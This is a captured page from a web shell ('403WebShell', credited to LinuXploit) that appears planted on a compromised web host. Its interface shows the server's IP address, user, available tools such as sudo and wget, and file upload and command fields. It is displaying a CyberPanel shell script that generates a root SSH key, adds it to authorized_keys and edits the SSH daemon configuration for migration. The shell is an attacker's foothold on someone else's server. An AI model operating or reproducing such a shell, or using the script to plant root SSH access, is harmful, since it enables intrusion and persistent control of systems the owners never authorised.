Warning: chmod(): No such file or directory in /home/tuempresavirtual.cl/public_html/wp-content/plugins/appointment-hour-booking/app-booking-plugin.php on line 3
403WebShell
403Webshell
Server IP : 186.64.123.29  /  Your IP : 216.73.217.94
Web Server : LiteSpeed
System : Linux house.hostinglat.cl 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : tuemp9827 ( 1016)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/CyberCP/CPScripts/EasyEngine/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/CyberCP/CPScripts/EasyEngine/key.sh
#!/bin/bash

# script to set up access key for non-interactive SSH login

check_root() {
  if [[ $(id -u) != 0 ]]  > /dev/null; then
  	echo -e "\nYou must use root permission...\n"
  	exit
  fi
}

key_generation() {
rm -f /root/.ssh/cyberpanel_migration_key
rm -f /root/.ssh/cyberpanel_migration_key.pub
ssh-keygen -t rsa -N "" -f /root/.ssh/cyberpanel_migration_key
if [[ -f /root/.ssh/authorized_keys ]] ; then
  cp /root/.ssh/authorized_keys /root/.ssh/authorized_keys_migration
  string=$(head -c 3 /root/.ssh/authorized_keys)
  if [[ $string != "ssh" ]] ; then
    #check if it's like AWS that prohibits direct root login.
    rm -f /root/.ssh/authorized_keys
    cat /root/.ssh/cyberpanel_migration_key.pub > /root/.ssh/authorized_keys
  else
    cat /root/.ssh/cyberpanel_migration_key.pub >> /root/.ssh/authorized_keys
  fi
else
    cat /root/.ssh/cyberpanel_migration_key.pub > /root/.ssh/authorized_keys
    chmod 600 /root/.ssh/authorized_keys
fi

echo -e "\nsuccessfully set up public key and private key for migration..."
# this function creates public key and private key
}

ssh_config() {
rm -f /etc/ssh/sshd_config_migration
cp /etc/ssh/sshd_config /etc/ssh/sshd_config_migration
if grep -q "#PubkeyAuthentication yes" /etc/ssh/sshd_config ; then
  sed -i 's|#PubkeyAuthentication yes|PubkeyAuthentication yes|g' /etc/ssh/sshd_config
fi
systemctl restart sshd
#this function will modify ssh configuration to allow public key login and root login
}


revert_change() {
  if [[ ! -f /etc/ssh/sshd_config_migration ]] ; then
  echo -e "You didn't enable it..."
  exit
  else
  rm -f /root/.ssh/authorized_keys
  rm -f /etc/ssh/sshd_config
  rm -f /root/.ssh/cyberpanel_migration_key
  rm -f /root/.ssh/cyberpanel_migration_key.pub
  cp /etc/ssh/sshd_config_migration /etc/ssh/sshd_config
  if [[ -f /root/.ssh/authorized_keys_migration ]] ; then
    cp /root/.ssh/authorized_keys_migration /root/.ssh/authorized_keys
    rm -f /root/.ssh/authorized_keys_migration
  fi
  systemctl restart sshd
  fi
echo -e "\nsuccessfully removed public key and private key for migration..."

#this function will revert the changes and restore backed up files.
}

check_root


if [[ $1 == "enable" ]] ; then
  ssh_config
  key_generation
elif [[ $1 == "disable" ]] ; then
  revert_change
else
  echo -e "\nPlease use argument enable or disable"
  echo -e "\ne.g. ./key.sh enable\n"
fi

Youez - 2016 - github.com/yon3zu
LinuXploit